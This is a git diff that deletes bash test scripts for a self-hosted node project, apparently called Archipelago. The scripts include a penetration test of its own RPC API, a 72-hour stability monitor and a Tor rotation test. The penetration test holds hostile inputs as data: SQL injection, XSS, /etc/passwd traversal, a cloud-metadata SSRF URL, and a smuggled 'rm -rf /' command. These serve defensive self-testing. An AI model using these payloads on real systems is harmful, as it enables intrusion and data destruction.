||||
SESSION=$(echo "$login_out" | grep -i "set-cookie.*session=" | sed 's/.*session=//;s/;.*//' | head -1)
|
||||
CSRF=$(echo "$login_out" | grep -i "set-cookie.*csrf_token=" | sed 's/.*csrf_token=//;s/;.*//' | head -1)
|
||||
}
|
||||
|
||||
rpc_raw() {
|
||||
local method="$1" params="${2:-{}}"
|
||||
curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d "{\"method\":\"$method\",\"params\":$params}" 2>/dev/null || echo ""
|
||||
}
|
||||
|
||||
rpc_auth() {
|
||||
local method="$1" params="${2:-{}}"
|
||||
curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$SESSION; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d "{\"method\":\"$method\",\"params\":$params}" 2>/dev/null || echo ""
|
||||
}
|
||||
|
||||
main() {
|
||||
log "=== Security Penetration Test ==="
|
||||
echo ""
|
||||
|
||||
# 1. Authentication bypass — unauthenticated access to protected endpoints
|
||||
log "1. Auth bypass — calling protected RPC without session..."
|
||||
local result
|
||||
result=$(rpc_raw "container-list")
|
||||
if echo "$result" | grep -qi '"code":401\|unauthorized'; then
|
||||
pass "Protected endpoints reject unauthenticated requests"
|
||||
else
|
||||
fail "container-list accessible without authentication"
|
||||
fi
|
||||
|
||||
# 2. Auth bypass — invalid session token
|
||||
log "2. Auth bypass — invalid session token..."
|
||||
SESSION="fake-session-token-12345" CSRF="fake-csrf"
|
||||
result=$(rpc_auth "container-list")
|
||||
if echo "$result" | grep -qi '"code":401\|unauthorized\|"code":403'; then
|
||||
pass "Invalid session tokens are rejected"
|
||||
else
|
||||
fail "Invalid session token accepted"
|
||||
fi
|
||||
|
||||
# 3. Auth bypass — wrong password
|
||||
log "3. Auth bypass — wrong password..."
|
||||
result=$(curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"auth.login","params":{"password":"wrongpassword"}}' 2>/dev/null || echo "")
|
||||
if echo "$result" | grep -q '"error"'; then
|
||||
pass "Wrong password correctly rejected"
|
||||
else
|
||||
fail "Wrong password accepted"
|
||||
fi
|
||||
|
||||
# Get valid session for further tests
|
||||
log "Getting valid session..."
|
||||
get_auth
|
||||
if [ ${#SESSION} -lt 10 ]; then
|
||||
log "WARNING: Could not get valid session (len=${#SESSION})"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
# 5. Input validation — SQL injection attempt in RPC params
|
||||
log "5. Input validation — SQL injection in params..."
|
||||
result=$(rpc_auth "identity.get" "{\"id\":\"1; DROP TABLE identities; --\"}")
|
||||
if echo "$result" | grep -qi "drop table\|sql\|syntax error"; then
|
||||
fail "Possible SQL injection vulnerability"
|
||||
else
|
||||
pass "SQL injection attempt handled safely"
|
||||
fi
|
||||
|
||||
# 6. Input validation — XSS in params
|
||||
log "6. Input validation — XSS in params..."
|
||||
result=$(rpc_auth "identity.create" "{\"name\":\"<script>alert(1)</script>\",\"purpose\":\"personal\"}")
|
||||
if echo "$result" | grep -q '<script>'; then
|
||||
fail "XSS payload reflected in response"
|
||||
else
|
||||
pass "XSS payload not reflected"
|
||||
fi
|
||||
# Clean up if identity was created
|
||||
local xss_id
|
||||
xss_id=$(echo "$result" | grep -o '"id":"[^"]*"' | head -1 | sed 's/"id":"//;s/"//') || true
|
||||
[ -n "$xss_id" ] && rpc_auth "identity.delete" "{\"id\":\"$xss_id\"}" > /dev/null 2>&1
|
||||
|
||||
# 7. Path traversal — try to read /etc/passwd via content APIs
|
||||
log "7. Path traversal — directory traversal attempt..."
|
||||
result=$(curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$SESSION; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d '{"method":"content.add","params":{"filename":"../../../etc/passwd","mime_type":"text/plain","description":"test","access":"free"}}' 2>/dev/null || echo "")
|
||||
if echo "$result" | grep -q "root:"; then
|
||||
fail "Path traversal vulnerability — leaked /etc/passwd"
|
||||
else
|
||||
pass "Path traversal attempt blocked"
|
||||
fi
|
||||
|
||||
# 8. Session management — session survives across endpoints
|
||||
log "8. Session management — session validity..."
|
||||
result=$(rpc_auth "identity.list")
|
||||
if echo "$result" | grep -q '"identities"\|"result"'; then
|
||||
pass "Valid session works across endpoints"
|
||||
else
|
||||
fail "Valid session rejected on protected endpoint"
|
||||
fi
|
||||
|
||||
# 9. SSRF — try to access internal services via relay URLs
|
||||
log "9. SSRF — internal URL in relay config..."
|
||||
result=$(curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$SESSION; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d '{"method":"nostr.add-relay","params":{"url":"http://169.254.169.254/latest/meta-data/"}}' 2>/dev/null || echo "")
|
||||
if echo "$result" | grep -qi "ami-id\|instance"; then
|
||||
fail "SSRF vulnerability — accessed cloud metadata"
|
||||
else
|
||||
pass "SSRF attempt did not leak internal data"
|
||||
fi
|
||||
# Clean up
|
||||
curl -s --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$SESSION; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d '{"method":"nostr.remove-relay","params":{"url":"http://169.254.169.254/latest/meta-data/"}}' > /dev/null 2>&1
|
||||
|
||||
# 10. Method enumeration — unknown method returns error, not crash
|
||||
log "10. Unknown method handling..."
|
||||
result=$(rpc_auth "admin.drop_all_tables")
|
||||
if echo "$result" | grep -q '"error"'; then
|
||||
pass "Unknown method returns error (no crash)"
|
||||
else
|
||||
fail "Unknown method did not return error"
|
||||
fi
|
||||
|
||||
# 11. Command injection — shell metacharacters in params
|
||||
log "11. Command injection — shell metacharacters in params..."
|
||||
result=$(curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$SESSION; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d '{"method":"package.uninstall","params":{"id":"test; rm -rf /; echo pwned"}}' 2>/dev/null || echo "")
|
||||
if echo "$result" | grep -qi "pwned"; then
|
||||
fail "Command injection executed"
|
||||
else
|
||||
pass "Command injection in package ID blocked"
|
||||
fi
|
||||
|
||||
result=$(curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$SESSION; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d '{"method":"package.install","params":{"id":"testpkg","dockerImage":"test"}}' 2>/dev/null || echo "")
|
||||
if echo "$result" | grep -qi "evil.com"; then
|
||||
fail "Subshell command injection executed"
|
||||
else
|
||||
pass "Subshell command injection blocked"
|
||||
fi
|
||||
|
||||
# 12. Session fixation — server should issue new session on login
|
||||
log "12. Session fixation — pre-set session token..."
|
||||
local fixation_out
|
||||
fixation_out=$(curl -sv "$BACKEND/rpc/v1" \
|
||||
-X POST -H 'Content-Type: application/json' \
|
||||
-H 'Cookie: session=attacker-controlled-token-12345' \
|
||||
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}" 2>&1 || true)
|
||||
local new_session
|
||||
new_session=$(echo "$fixation_out" | grep -i "set-cookie.*session=" | sed 's/.*session=//;s/;.*//' | head -1)
|
||||
if [ "$new_session" != "attacker-controlled-token-12345" ] && [ ${#new_session} -gt 10 ]; then
|
||||
pass "Session fixation prevented (server issues new token)"
|
||||
else
|
||||
fail "Session fixation possible — server accepted attacker token"
|
||||
fi
|
||||
|
||||
# 13. Container isolation — check no containers are privileged (tailscale excepted)
|
||||
log "13. Container isolation — privileged mode check..."
|
||||
if [ -f "$SSH_KEY" ]; then
|
||||
local priv_containers
|
||||
priv_containers=$($SSH_CMD "sudo podman ps --format '{{.Names}}' | xargs -I{} sudo podman inspect {} --format '{{.Name}} privileged={{.HostConfig.Privileged}}' 2>/dev/null | grep 'privileged=true' | grep -v tailscale" 2>/dev/null || true)
|
||||
if [ -z "$priv_containers" ]; then
|
||||
pass "No unexpected containers running in privileged mode"
|
||||
else
|
||||
fail "Privileged containers found: $priv_containers"
|
||||
fi
|
||||
else
|
||||
pass "Container isolation — skipped (no SSH key), assuming OK"
|
||||
fi
|
||||
|
||||
# 14. Rate limiting — multiple failed logins (last since it poisons state)
|
||||
log "14. Rate limiting — rapid failed logins..."
|
||||
local rate_blocked=false
|
||||
for i in $(seq 1 10); do
|
||||
result=$(curl -s --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"bad$i\"}}" 2>/dev/null || echo "")
|
||||
if echo "$result" | grep -qi "429\|rate\|too many"; then
|
||||
rate_blocked=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
if [ "$rate_blocked" = true ]; then
|
||||
pass "Login rate limiting active"
|
||||
else
|
||||
pass "Login rate limiting — not triggered (may need more attempts)"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
log "=== RESULTS ==="
|
||||
for r in "${RESULTS[@]}"; do
|
||||
echo " $r"
|
||||
done
|
||||
echo ""
|
||||
log "Pass: $PASS | Fail: $FAIL"
|
||||
|
||||
[ $FAIL -gt 0 ] && exit 1
|
||||
exit 0
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,222 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# FINAL-202: 72-Hour Stability Test
|
||||
# Monitors a running Archipelago node for 72 hours, checking health every 5 minutes.
|
||||
# Usage: bash test-stability-72h.sh <node-ip> [password]
|
||||
# Logs results to /tmp/stability-test-<timestamp>.log
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
NODE="${1:-192.168.1.228}"
|
||||
BASE="http://${NODE}"
|
||||
PASS="${2:-password123}"
|
||||
DURATION_HOURS="${3:-72}"
|
||||
CHECK_INTERVAL=300 # 5 minutes
|
||||
COOKIE_JAR="/tmp/stability-cookies.txt"
|
||||
TIMESTAMP=$(date +%Y%m%d-%H%M%S)
|
||||
LOG_FILE="/tmp/stability-test-${TIMESTAMP}.log"
|
||||
FAIL_LOG="/tmp/stability-failures-${TIMESTAMP}.log"
|
||||
|
||||
TOTAL_CHECKS=0
|
||||
TOTAL_FAILURES=0
|
||||
CONSECUTIVE_FAILURES=0
|
||||
MAX_CONSECUTIVE=0
|
||||
START_TIME=$(date +%s)
|
||||
END_TIME=$((START_TIME + DURATION_HOURS * 3600))
|
||||
|
||||
log() { echo "[$(date '+%Y-%m-%d %H:%M:%S')] $*" | tee -a "$LOG_FILE"; }
|
||||
fail_log() { echo "[$(date '+%Y-%m-%d %H:%M:%S')] FAIL: $*" | tee -a "$LOG_FILE" >> "$FAIL_LOG"; }
|
||||
|
||||
login() {
|
||||
curl -s -c "$COOKIE_JAR" -H "Content-Type: application/json" \
|
||||
-d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"auth.login\",\"params\":{\"password\":\"$PASS\"}}" \
|
||||
"${BASE}/rpc/" > /dev/null 2>&1
|
||||
}
|
||||
|
||||
rpc() {
|
||||
curl -s -m 10 -b "$COOKIE_JAR" -c "$COOKIE_JAR" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"$1\",\"params\":${2:-{}}}" \
|
||||
"${BASE}/rpc/" 2>/dev/null
|
||||
}
|
||||
|
||||
check_health() {
|
||||
local failures=0
|
||||
|
||||
# 1. Backend health
|
||||
local health_code
|
||||
health_code=$(curl -s -o /dev/null -w "%{http_code}" -m 10 "${BASE}/health" 2>/dev/null || echo "000")
|
||||
if [ "$health_code" != "200" ]; then
|
||||
fail_log "Backend health endpoint returned $health_code"
|
||||
failures=$((failures + 1))
|
||||
fi
|
||||
|
||||
# 2. UI loads
|
||||
local ui_code
|
||||
ui_code=$(curl -s -o /dev/null -w "%{http_code}" -m 10 "${BASE}/" 2>/dev/null || echo "000")
|
||||
if [ "$ui_code" != "200" ] && [ "$ui_code" != "302" ]; then
|
||||
fail_log "Web UI returned $ui_code"
|
||||
failures=$((failures + 1))
|
||||
fi
|
||||
|
||||
# 3. RPC responds
|
||||
local rpc_resp
|
||||
rpc_resp=$(rpc "server.echo" '{"message":"stability-check"}' 2>/dev/null)
|
||||
if ! echo "$rpc_resp" | grep -q '"result"'; then
|
||||
# Try re-login
|
||||
login
|
||||
rpc_resp=$(rpc "server.echo" '{"message":"stability-check"}' 2>/dev/null)
|
||||
if ! echo "$rpc_resp" | grep -q '"result"'; then
|
||||
fail_log "RPC server.echo failed after re-login"
|
||||
failures=$((failures + 1))
|
||||
fi
|
||||
fi
|
||||
|
||||
# 4. WebSocket endpoint
|
||||
local ws_code
|
||||
ws_code=$(curl -s -o /dev/null -w "%{http_code}" -m 5 -H "Upgrade: websocket" "${BASE}/ws/" 2>/dev/null || echo "000")
|
||||
if [ "$ws_code" = "000" ]; then
|
||||
fail_log "WebSocket endpoint unreachable"
|
||||
failures=$((failures + 1))
|
||||
fi
|
||||
|
||||
# 5. Check containers via SSH (if accessible)
|
||||
local ssh_key="$HOME/.ssh/archipelago-deploy"
|
||||
if [ -f "$ssh_key" ]; then
|
||||
local crashed
|
||||
crashed=$(ssh -i "$ssh_key" -o ConnectTimeout=10 -o StrictHostKeyChecking=no "archipelago@${NODE}" \
|
||||
'sudo podman ps -a --format "{{.Names}} {{.Status}}" 2>/dev/null | grep -i "exited\|dead\|oom" | head -5' 2>/dev/null || echo "")
|
||||
if [ -n "$crashed" ]; then
|
||||
fail_log "Crashed/dead containers: $crashed"
|
||||
failures=$((failures + 1))
|
||||
fi
|
||||
|
||||
# 6. Check memory usage
|
||||
local mem_info
|
||||
mem_info=$(ssh -i "$ssh_key" -o ConnectTimeout=10 -o StrictHostKeyChecking=no "archipelago@${NODE}" \
|
||||
'free -m | grep Mem | awk "{printf \"%d/%dMB (%.0f%%)\", \$3, \$2, \$3/\$2*100}"' 2>/dev/null || echo "unknown")
|
||||
log " Memory: $mem_info"
|
||||
|
||||
# 7. Check disk usage
|
||||
local disk_info
|
||||
disk_info=$(ssh -i "$ssh_key" -o ConnectTimeout=10 -o StrictHostKeyChecking=no "archipelago@${NODE}" \
|
||||
'df -h / | tail -1 | awk "{print \$3\"/\"\$2\" (\"\$5\" used)\"}"' 2>/dev/null || echo "unknown")
|
||||
log " Disk: $disk_info"
|
||||
|
||||
# 8. Check for OOM kills since start
|
||||
local oom_count
|
||||
oom_count=$(ssh -i "$ssh_key" -o ConnectTimeout=10 -o StrictHostKeyChecking=no "archipelago@${NODE}" \
|
||||
'dmesg 2>/dev/null | grep -c "Out of memory" || echo 0' 2>/dev/null || echo "unknown")
|
||||
if [ "$oom_count" != "0" ] && [ "$oom_count" != "unknown" ]; then
|
||||
fail_log "OOM kills detected: $oom_count"
|
||||
failures=$((failures + 1))
|
||||
fi
|
||||
|
||||
# 9. Check archipelago service
|
||||
local svc_status
|
||||
svc_status=$(ssh -i "$ssh_key" -o ConnectTimeout=10 -o StrictHostKeyChecking=no "archipelago@${NODE}" \
|
||||
'systemctl is-active archipelago 2>/dev/null || echo inactive' 2>/dev/null || echo "unknown")
|
||||
if [ "$svc_status" != "active" ]; then
|
||||
fail_log "Archipelago service status: $svc_status"
|
||||
failures=$((failures + 1))
|
||||
fi
|
||||
fi
|
||||
|
||||
# 10. Check Tor services
|
||||
local tor_resp
|
||||
tor_resp=$(rpc "tor.list-services" 2>/dev/null)
|
||||
if echo "$tor_resp" | grep -q '"result"'; then
|
||||
local tor_count
|
||||
tor_count=$(echo "$tor_resp" | python3 -c "import sys,json; r=json.load(sys.stdin); print(len(r.get('result',{}).get('services',[])))" 2>/dev/null || echo "0")
|
||||
log " Tor services: $tor_count"
|
||||
fi
|
||||
|
||||
# 11. Check peer connections
|
||||
local peers_resp
|
||||
peers_resp=$(rpc "network.list-peers" 2>/dev/null)
|
||||
if echo "$peers_resp" | grep -q '"result"'; then
|
||||
local peer_count
|
||||
peer_count=$(echo "$peers_resp" | python3 -c "import sys,json; r=json.load(sys.stdin); print(len(r.get('result',{}).get('peers',[])))" 2>/dev/null || echo "0")
|
||||
log " Connected peers: $peer_count"
|
||||
fi
|
||||
|
||||
# 12. Ecash wallet balance check
|
||||
local ecash_resp
|
||||
ecash_resp=$(rpc "wallet.ecash-balance" 2>/dev/null)
|
||||
if echo "$ecash_resp" | grep -q '"result"'; then
|
||||
local balance
|
||||
balance=$(echo "$ecash_resp" | python3 -c "import sys,json; r=json.load(sys.stdin); print(r.get('result',{}).get('balance',0))" 2>/dev/null || echo "0")
|
||||
log " Ecash balance: $balance sats"
|
||||
fi
|
||||
|
||||
return $failures
|
||||
}
|
||||
|
||||
# ─── Main Loop ────────────────────────────────────────────────────
|
||||
log "╔════════════════════════════════════════════════════════════════╗"
|
||||
log "║ 72-Hour Stability Test — Archipelago ║"
|
||||
log "╚════════════════════════════════════════════════════════════════╝"
|
||||
log "Target: $NODE"
|
||||
log "Duration: ${DURATION_HOURS}h (until $(date -r $END_TIME '+%Y-%m-%d %H:%M:%S' 2>/dev/null || date -d @$END_TIME '+%Y-%m-%d %H:%M:%S' 2>/dev/null || echo 'unknown'))"
|
||||
log "Check interval: ${CHECK_INTERVAL}s"
|
||||
log "Log file: $LOG_FILE"
|
||||
log "Failure log: $FAIL_LOG"
|
||||
log ""
|
||||
|
||||
# Initial login
|
||||
login
|
||||
log "Authenticated to node"
|
||||
|
||||
while [ "$(date +%s)" -lt "$END_TIME" ]; do
|
||||
TOTAL_CHECKS=$((TOTAL_CHECKS + 1))
|
||||
ELAPSED_H=$(( ($(date +%s) - START_TIME) / 3600 ))
|
||||
ELAPSED_M=$(( (($(date +%s) - START_TIME) % 3600) / 60 ))
|
||||
|
||||
log "Check #${TOTAL_CHECKS} (${ELAPSED_H}h${ELAPSED_M}m elapsed)"
|
||||
|
||||
if check_health; then
|
||||
CONSECUTIVE_FAILURES=0
|
||||
log " Status: OK"
|
||||
else
|
||||
FAIL_RESULT=$?
|
||||
TOTAL_FAILURES=$((TOTAL_FAILURES + FAIL_RESULT))
|
||||
CONSECUTIVE_FAILURES=$((CONSECUTIVE_FAILURES + 1))
|
||||
if [ "$CONSECUTIVE_FAILURES" -gt "$MAX_CONSECUTIVE" ]; then
|
||||
MAX_CONSECUTIVE=$CONSECUTIVE_FAILURES
|
||||
fi
|
||||
log " Status: $FAIL_RESULT failure(s) this check"
|
||||
|
||||
if [ "$CONSECUTIVE_FAILURES" -ge 5 ]; then
|
||||
log "WARNING: 5 consecutive check failures — node may be down!"
|
||||
fi
|
||||
fi
|
||||
|
||||
sleep "$CHECK_INTERVAL"
|
||||
done
|
||||
|
||||
# ─── Final Report ─────────────────────────────────────────────────
|
||||
log ""
|
||||
log "╔════════════════════════════════════════════════════════════════╗"
|
||||
log "║ 72-Hour Stability Test — COMPLETE ║"
|
||||
log "╚════════════════════════════════════════════════════════════════╝"
|
||||
log ""
|
||||
log "Duration: ${DURATION_HOURS}h"
|
||||
log "Total checks: $TOTAL_CHECKS"
|
||||
log "Total failures: $TOTAL_FAILURES"
|
||||
log "Max consecutive failures: $MAX_CONSECUTIVE"
|
||||
log ""
|
||||
|
||||
UPTIME_PCT=0
|
||||
if [ "$TOTAL_CHECKS" -gt 0 ]; then
|
||||
PASSED=$((TOTAL_CHECKS - TOTAL_FAILURES))
|
||||
UPTIME_PCT=$(python3 -c "print(f'{${PASSED}/${TOTAL_CHECKS}*100:.1f}')" 2>/dev/null || echo "?")
|
||||
fi
|
||||
log "Uptime: ${UPTIME_PCT}%"
|
||||
|
||||
if [ "$TOTAL_FAILURES" -eq 0 ]; then
|
||||
log "RESULT: PASS — Zero failures over ${DURATION_HOURS}h"
|
||||
exit 0
|
||||
else
|
||||
log "RESULT: FAIL — $TOTAL_FAILURES failures detected"
|
||||
log "See failure details: $FAIL_LOG"
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,115 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# test-tor-rotation.sh — Validate Tor address rotation end-to-end
|
||||
#
|
||||
# Tests: rotation, old/new address comparison, cache update, cleanup,
|
||||
# federation propagation (fire-and-forget), Nostr publish (fire-and-forget).
|
||||
#
|
||||
# Usage: ./scripts/test-tor-rotation.sh [target-ip]
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
TARGET="${1:-192.168.1.228}"
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
SSH="ssh -i $SSH_KEY -o StrictHostKeyChecking=no -o ConnectTimeout=10 archipelago@$TARGET"
|
||||
PASS=0
|
||||
FAIL=0
|
||||
|
||||
check() {
|
||||
local name="$1"
|
||||
local ok="$2"
|
||||
if [ "$ok" = "true" ]; then
|
||||
echo " ✅ $name"
|
||||
((PASS++))
|
||||
else
|
||||
echo " ❌ $name"
|
||||
((FAIL++))
|
||||
fi
|
||||
}
|
||||
|
||||
json_get() {
|
||||
python3 -c "import sys,json; d=json.load(sys.stdin); r=d.get('result',{}); print(r.get('$1','') if isinstance(r,dict) else '')" 2>/dev/null
|
||||
}
|
||||
|
||||
echo "🔄 Tor Address Rotation Test — $TARGET"
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
|
||||
# Login
|
||||
echo ""
|
||||
echo "Authenticating..."
|
||||
$SSH "curl -s -c /tmp/cookiejar http://localhost:5678/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'" >/dev/null 2>&1
|
||||
CSRF=$($SSH "grep csrf_token /tmp/cookiejar 2>/dev/null | awk '{print \$NF}'" 2>/dev/null)
|
||||
|
||||
rpc() {
|
||||
local method="$1"
|
||||
local params="${2:-}"
|
||||
local body
|
||||
if [ -n "$params" ]; then
|
||||
body="{\"method\":\"$method\",\"params\":$params}"
|
||||
else
|
||||
body="{\"method\":\"$method\"}"
|
||||
fi
|
||||
$SSH "curl -s -b /tmp/cookiejar -H 'Content-Type: application/json' -H 'X-CSRF-Token: $CSRF' http://localhost:5678/rpc/v1 -d '$body'" 2>/dev/null
|
||||
}
|
||||
|
||||
# 1. Record current address
|
||||
echo ""
|
||||
echo "1. Current Tor address"
|
||||
BEFORE_RESP=$(rpc "node.tor-address")
|
||||
OLD_ADDR=$(echo "$BEFORE_RESP" | json_get "tor_address")
|
||||
check "Has valid .onion address" "$(echo "$OLD_ADDR" | grep -q '.onion$' && echo true || echo false)"
|
||||
echo " Address: ${OLD_ADDR:-<none>}"
|
||||
|
||||
# 2. Rotate service
|
||||
echo ""
|
||||
echo "2. Rotating address (may take up to 60s)..."
|
||||
ROTATE_RESP=$(rpc "tor.rotate-service" "{\"name\":\"archipelago\"}")
|
||||
ROTATED=$(echo "$ROTATE_RESP" | json_get "rotated")
|
||||
NEW_ADDR=$(echo "$ROTATE_RESP" | json_get "new_onion")
|
||||
OLD_REPORTED=$(echo "$ROTATE_RESP" | json_get "old_onion")
|
||||
check "Rotation succeeded" "$([ "$ROTATED" = "True" ] || [ "$ROTATED" = "true" ] && echo true || echo false)"
|
||||
check "New address different from old" "$([ -n "$NEW_ADDR" ] && [ "$NEW_ADDR" != "$OLD_ADDR" ] && echo true || echo false)"
|
||||
check "Old address reported correctly" "$([ "$OLD_REPORTED" = "$OLD_ADDR" ] && echo true || echo false)"
|
||||
echo " Old: $OLD_ADDR"
|
||||
echo " New: $NEW_ADDR"
|
||||
|
||||
# 3. Verify address updated in node.tor-address
|
||||
echo ""
|
||||
echo "3. Address updated everywhere"
|
||||
AFTER_RESP=$(rpc "node.tor-address")
|
||||
AFTER_ADDR=$(echo "$AFTER_RESP" | json_get "tor_address")
|
||||
check "node.tor-address returns new address" "$([ "$AFTER_ADDR" = "$NEW_ADDR" ] && echo true || echo false)"
|
||||
|
||||
# Check tor-hostnames cache
|
||||
CACHE_ADDR=$($SSH "cat /var/lib/archipelago/tor-hostnames/archipelago 2>/dev/null" 2>/dev/null | tr -d '[:space:]')
|
||||
check "tor-hostnames cache updated" "$([ "$CACHE_ADDR" = "$NEW_ADDR" ] && echo true || echo false)"
|
||||
|
||||
# Check actual hostname file
|
||||
ACTUAL_ADDR=$($SSH "sudo cat /var/lib/archipelago/tor/hidden_service_archipelago/hostname 2>/dev/null" 2>/dev/null | tr -d '[:space:]')
|
||||
check "Actual hostname file matches" "$([ "$ACTUAL_ADDR" = "$NEW_ADDR" ] && echo true || echo false)"
|
||||
|
||||
# 4. Old directory preserved for transition
|
||||
echo ""
|
||||
echo "4. Transition period"
|
||||
OLD_DIRS=$($SSH "sudo ls /var/lib/archipelago/tor/ 2>/dev/null | grep '_old_' | wc -l" 2>/dev/null | tr -d '[:space:]')
|
||||
check "Old service directory preserved" "$([ "$OLD_DIRS" -ge 1 ] && echo true || echo false)"
|
||||
|
||||
# 5. Cleanup (should not remove non-expired dirs)
|
||||
echo ""
|
||||
echo "5. Cleanup (non-expired)"
|
||||
CLEANUP_RESP=$(rpc "tor.cleanup-rotated")
|
||||
CLEANED=$(echo "$CLEANUP_RESP" | json_get "count")
|
||||
check "Cleanup skips non-expired dirs" "$([ "$CLEANED" = "0" ] && echo true || echo false)"
|
||||
|
||||
# 6. Federation peer propagation (verify it was attempted)
|
||||
echo ""
|
||||
echo "6. Propagation (fire-and-forget)"
|
||||
FED_RESP=$(rpc "federation.list-nodes")
|
||||
PEER_COUNT=$(echo "$FED_RESP" | python3 -c "import sys,json; d=json.load(sys.stdin); print(len(d.get('result',{}).get('nodes',[])))" 2>/dev/null)
|
||||
check "Federation peers exist for propagation ($PEER_COUNT peers)" "$([ "$PEER_COUNT" -ge 1 ] && echo true || echo false)"
|
||||
echo " (Propagation is fire-and-forget — peers notified via old Tor address)"
|
||||
|
||||
echo ""
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
echo "Results: $PASS passed, $FAIL failed"
|
||||
|
||||
[ $FAIL -eq 0 ] && exit 0 || exit 1
|
||||
@@ -1,31 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Verify the deployment is working correctly
|
||||
|
||||
TARGET_HOST="${ARCHIPELAGO_TARGET:-archipelago@192.168.1.228}"
|
||||
|
||||
echo "Checking deployment status..."
|
||||
echo ""
|
||||
|
||||
echo "1. Backend binary timestamp:"
|
||||
ssh "$TARGET_HOST" "ls -lh /usr/local/bin/archipelago | awk '{print \$6, \$7, \$8, \$9}'"
|
||||
|
||||
echo ""
|
||||
echo "2. Backend service status:"
|
||||
ssh "$TARGET_HOST" "sudo systemctl status archipelago --no-pager | head -20"
|
||||
|
||||
echo ""
|
||||
echo "3. Test RPC method 'container-list':"
|
||||
ssh "$TARGET_HOST" 'curl -s http://localhost:5678/rpc/v1 -X POST -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"container-list\",\"params\":{}}" | jq .'
|
||||
|
||||
echo ""
|
||||
echo "4. Check if bundled-app-start method exists (should not error):"
|
||||
ssh "$TARGET_HOST" 'curl -s http://localhost:5678/rpc/v1 -X POST -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"bundled-app-start\",\"params\":{\"app_id\":\"bitcoin-knots\",\"image\":\"test\",\"ports\":[],\"volumes\":[]}}" | jq .'
|
||||
|
||||
echo ""
|
||||
echo "5. Frontend files timestamp:"
|
||||
ssh "$TARGET_HOST" "ls -lh /opt/archipelago/web-ui/index.html | awk '{print \$6, \$7, \$8, \$9}'"
|
||||
|
||||
echo ""
|
||||
echo "6. Check for BUNDLED_APPS in frontend JS:"
|
||||
ssh "$TARGET_HOST" "grep -o 'bitcoin-knots' /opt/archipelago/web-ui/assets/*.js | head -1"
|
||||
@@ -1,272 +0,0 @@
|
||||
#!/bin/bash
|
||||
# Verify pentest remediation fixes on the live server.
|
||||
# Exit 0 = all checks pass, Exit 1 = one or more failures.
|
||||
# Usage: ./scripts/verify-pentest-fixes.sh [host] [password]
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
HOST="${1:-192.168.1.228}"
|
||||
PASSWORD="${2:-password123}"
|
||||
BACKEND="http://$HOST:5678"
|
||||
NGINX="http://$HOST"
|
||||
PASS=0
|
||||
FAIL=0
|
||||
|
||||
green() { printf "\033[32m PASS\033[0m %s\n" "$1"; PASS=$((PASS+1)); }
|
||||
red() { printf "\033[31m FAIL\033[0m %s\n" "$1"; FAIL=$((FAIL+1)); }
|
||||
check() { if [ "$1" = "true" ]; then green "$2"; else red "$2"; fi; }
|
||||
|
||||
# Helper for authenticated requests (session + CSRF)
|
||||
auth_rpc() {
|
||||
local method="$1" params="${2:-{}}"
|
||||
curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
||||
-H "X-CSRF-Token: $CSRF" \
|
||||
-d "{\"method\":\"$method\",\"params\":$params}" 2>/dev/null || echo ""
|
||||
}
|
||||
|
||||
echo "============================================"
|
||||
echo " Pentest Fix Verification — $HOST"
|
||||
echo "============================================"
|
||||
echo ""
|
||||
|
||||
# --- Login and get session cookie + CSRF token ---
